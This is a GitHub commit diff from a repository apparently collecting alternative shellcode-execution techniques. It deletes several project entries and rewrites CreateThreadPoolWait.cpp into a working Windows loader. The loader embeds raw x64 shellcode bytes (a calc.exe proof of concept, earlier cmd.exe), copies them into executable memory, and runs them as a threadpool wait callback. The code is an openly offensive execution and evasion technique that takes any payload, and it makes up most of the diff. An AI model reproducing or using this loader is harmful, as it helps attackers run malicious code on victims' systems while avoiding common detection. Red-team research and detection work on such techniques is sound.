Skip to content

Commit 964a6cf

Browse files
aahmad097aahmad097
committed
removed faulty functions
1 parent 7f57345 commit 964a6cf

17 files changed

Lines changed: 37 additions & 1153 deletions

‎AlternativeShellcodeExec.sln‎

Lines changed: 0 additions & 50 deletions
Original file line numberDiff line numberDiff line change
@@ -3,18 +3,8 @@ Microsoft Visual Studio Solution File, Format Version 12.00
33
# Visual Studio Version 16
44
VisualStudioVersion = 16.0.30907.101
55
MinimumVisualStudioVersion = 10.0.40219.1
6-
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumChildWindows", "EnumChildWindows\EnumChildWindows.vcxproj", "{5AFAA3AE-0019-4828-86EB-4B34C489BCDB}"
7-
EndProject
86
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CreateThreadPoolWait", "CreateThreadPoolWait\CreateThreadPoolWait.vcxproj", "{7C60D205-1563-4BEC-BB27-1D7C3B58A08F}"
97
EndProject
10-
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumDesktopsW", "EnumDesktopsW\EnumDesktopsW.vcxproj", "{92037E02-B586-4DA5-B0A7-79BCB9811BF5}"
11-
EndProject
12-
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumWindows", "EnumWindows\EnumWindows.vcxproj", "{34E4F062-B47C-4D23-AB4B-8D624B97449A}"
13-
EndProject
14-
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CopyFileEx", "CopyFileEx\CopyFileEx.vcxproj", "{E5B4C744-8F7B-4878-AC20-773DA410EF1D}"
15-
EndProject
16-
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumResourceTypesW", "EnumResourceTypesW\EnumResourceTypesW.vcxproj", "{A314BBF5-0487-4227-BCA5-735B1B4BF9E9}"
17-
EndProject
188
Global
199
GlobalSection(SolutionConfigurationPlatforms) = preSolution
2010
Debug|x64 = Debug|x64
@@ -23,14 +13,6 @@ Global
2313
Release|x86 = Release|x86
2414
EndGlobalSection
2515
GlobalSection(ProjectConfigurationPlatforms) = postSolution
26-
{5AFAA3AE-0019-4828-86EB-4B34C489BCDB}.Debug|x64.ActiveCfg = Debug|x64
27-
{5AFAA3AE-0019-4828-86EB-4B34C489BCDB}.Debug|x64.Build.0 = Debug|x64
28-
{5AFAA3AE-0019-4828-86EB-4B34C489BCDB}.Debug|x86.ActiveCfg = Debug|Win32
29-
{5AFAA3AE-0019-4828-86EB-4B34C489BCDB}.Debug|x86.Build.0 = Debug|Win32
30-
{5AFAA3AE-0019-4828-86EB-4B34C489BCDB}.Release|x64.ActiveCfg = Release|x64
31-
{5AFAA3AE-0019-4828-86EB-4B34C489BCDB}.Release|x64.Build.0 = Release|x64
32-
{5AFAA3AE-0019-4828-86EB-4B34C489BCDB}.Release|x86.ActiveCfg = Release|Win32
33-
{5AFAA3AE-0019-4828-86EB-4B34C489BCDB}.Release|x86.Build.0 = Release|Win32
3416
{7C60D205-1563-4BEC-BB27-1D7C3B58A08F}.Debug|x64.ActiveCfg = Debug|x64
3517
{7C60D205-1563-4BEC-BB27-1D7C3B58A08F}.Debug|x64.Build.0 = Debug|x64
3618
{7C60D205-1563-4BEC-BB27-1D7C3B58A08F}.Debug|x86.ActiveCfg = Debug|Win32
@@ -39,38 +21,6 @@ Global
3921
{7C60D205-1563-4BEC-BB27-1D7C3B58A08F}.Release|x64.Build.0 = Release|x64
4022
{7C60D205-1563-4BEC-BB27-1D7C3B58A08F}.Release|x86.ActiveCfg = Release|Win32
4123
{7C60D205-1563-4BEC-BB27-1D7C3B58A08F}.Release|x86.Build.0 = Release|Win32
42-
{92037E02-B586-4DA5-B0A7-79BCB9811BF5}.Debug|x64.ActiveCfg = Debug|x64
43-
{92037E02-B586-4DA5-B0A7-79BCB9811BF5}.Debug|x64.Build.0 = Debug|x64
44-
{92037E02-B586-4DA5-B0A7-79BCB9811BF5}.Debug|x86.ActiveCfg = Debug|Win32
45-
{92037E02-B586-4DA5-B0A7-79BCB9811BF5}.Debug|x86.Build.0 = Debug|Win32
46-
{92037E02-B586-4DA5-B0A7-79BCB9811BF5}.Release|x64.ActiveCfg = Release|x64
47-
{92037E02-B586-4DA5-B0A7-79BCB9811BF5}.Release|x64.Build.0 = Release|x64
48-
{92037E02-B586-4DA5-B0A7-79BCB9811BF5}.Release|x86.ActiveCfg = Release|Win32
49-
{92037E02-B586-4DA5-B0A7-79BCB9811BF5}.Release|x86.Build.0 = Release|Win32
50-
{34E4F062-B47C-4D23-AB4B-8D624B97449A}.Debug|x64.ActiveCfg = Debug|x64
51-
{34E4F062-B47C-4D23-AB4B-8D624B97449A}.Debug|x64.Build.0 = Debug|x64
52-
{34E4F062-B47C-4D23-AB4B-8D624B97449A}.Debug|x86.ActiveCfg = Debug|Win32
53-
{34E4F062-B47C-4D23-AB4B-8D624B97449A}.Debug|x86.Build.0 = Debug|Win32
54-
{34E4F062-B47C-4D23-AB4B-8D624B97449A}.Release|x64.ActiveCfg = Release|x64
55-
{34E4F062-B47C-4D23-AB4B-8D624B97449A}.Release|x64.Build.0 = Release|x64
56-
{34E4F062-B47C-4D23-AB4B-8D624B97449A}.Release|x86.ActiveCfg = Release|Win32
57-
{34E4F062-B47C-4D23-AB4B-8D624B97449A}.Release|x86.Build.0 = Release|Win32
58-
{E5B4C744-8F7B-4878-AC20-773DA410EF1D}.Debug|x64.ActiveCfg = Debug|x64
59-
{E5B4C744-8F7B-4878-AC20-773DA410EF1D}.Debug|x64.Build.0 = Debug|x64
60-
{E5B4C744-8F7B-4878-AC20-773DA410EF1D}.Debug|x86.ActiveCfg = Debug|Win32
61-
{E5B4C744-8F7B-4878-AC20-773DA410EF1D}.Debug|x86.Build.0 = Debug|Win32
62-
{E5B4C744-8F7B-4878-AC20-773DA410EF1D}.Release|x64.ActiveCfg = Release|x64
63-
{E5B4C744-8F7B-4878-AC20-773DA410EF1D}.Release|x64.Build.0 = Release|x64
64-
{E5B4C744-8F7B-4878-AC20-773DA410EF1D}.Release|x86.ActiveCfg = Release|Win32
65-
{E5B4C744-8F7B-4878-AC20-773DA410EF1D}.Release|x86.Build.0 = Release|Win32
66-
{A314BBF5-0487-4227-BCA5-735B1B4BF9E9}.Debug|x64.ActiveCfg = Debug|x64
67-
{A314BBF5-0487-4227-BCA5-735B1B4BF9E9}.Debug|x64.Build.0 = Debug|x64
68-
{A314BBF5-0487-4227-BCA5-735B1B4BF9E9}.Debug|x86.ActiveCfg = Debug|Win32
69-
{A314BBF5-0487-4227-BCA5-735B1B4BF9E9}.Debug|x86.Build.0 = Debug|Win32
70-
{A314BBF5-0487-4227-BCA5-735B1B4BF9E9}.Release|x64.ActiveCfg = Release|x64
71-
{A314BBF5-0487-4227-BCA5-735B1B4BF9E9}.Release|x64.Build.0 = Release|x64
72-
{A314BBF5-0487-4227-BCA5-735B1B4BF9E9}.Release|x86.ActiveCfg = Release|Win32
73-
{A314BBF5-0487-4227-BCA5-735B1B4BF9E9}.Release|x86.Build.0 = Release|Win32
7424
EndGlobalSection
7525
GlobalSection(SolutionProperties) = preSolution
7626
HideSolutionNode = FALSE

‎CopyFileEx/CopyFileEx.cpp‎

Lines changed: 0 additions & 49 deletions
This file was deleted.

‎CopyFileEx/CopyFileEx.vcxproj‎

Lines changed: 0 additions & 147 deletions
This file was deleted.

‎CopyFileEx/CopyFileEx.vcxproj.filters‎

Lines changed: 0 additions & 22 deletions
This file was deleted.

‎CreateThreadPoolWait/CreateThreadPoolWait.cpp‎

Lines changed: 37 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,11 @@
1-
#include <windows.h>
1+
#include <windows.h>
2+
#include <stdio.h>
23
#include <threadpoolapiset.h>
34

4-
/*
5-
* Credit goes to alfarom256 for finding this!
6-
*/
5+
#define LEN 277
76

8-
unsigned char shellcode[] =
7+
// run calc
8+
unsigned char op[] =
99
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
1010
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
1111
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
@@ -21,21 +21,43 @@ unsigned char shellcode[] =
2121
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
2222
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
2323
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
24-
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
24+
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
2525
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
26-
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
27-
"\x2e\x65\x78\x65\x00";
26+
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
27+
"\x63\x2e\x65\x78\x65\x00";
2828

2929

3030
int main()
3131
{
32-
HANDLE event = ::CreateEvent(NULL, FALSE, TRUE, NULL);
33-
LPVOID shellcodeAddress = ::VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
34-
::RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));
32+
HANDLE hEvent;
33+
hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
3534

36-
PTP_WAIT threadPoolWait = ::CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
37-
::SetThreadpoolWait(threadPoolWait, event, NULL);
38-
::WaitForSingleObject(event, INFINITE);
3935

40-
return 0;
36+
37+
/*
38+
Can just shove a payload in RX mem and cast it to PTP_WAIT_CALLBACK
39+
¯\_(ツ)_/¯
40+
*/
41+
42+
LPVOID addr = VirtualAlloc(NULL, LEN, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
43+
RtlMoveMemory(addr, op, LEN);
44+
DWORD old;
45+
46+
47+
if (!VirtualProtect(addr, LEN, PAGE_EXECUTE_READ, &old))
48+
printf("%d", GetLastError());
49+
50+
PTP_WAIT ptp_w = CreateThreadpoolWait((PTP_WAIT_CALLBACK)addr, NULL, NULL);
51+
52+
53+
SetThreadpoolWait(ptp_w, hEvent, 0);
54+
55+
// need to send events so the Threadpool Wait Callback has a chance to "catch" them and run
56+
SetEvent(hEvent);
57+
WaitForThreadpoolWaitCallbacks(ptp_w, FALSE);
58+
SetEvent(hEvent);
59+
while (TRUE)
60+
{
61+
Sleep(9000);
62+
}
4163
}

0 commit comments

Comments
 (0)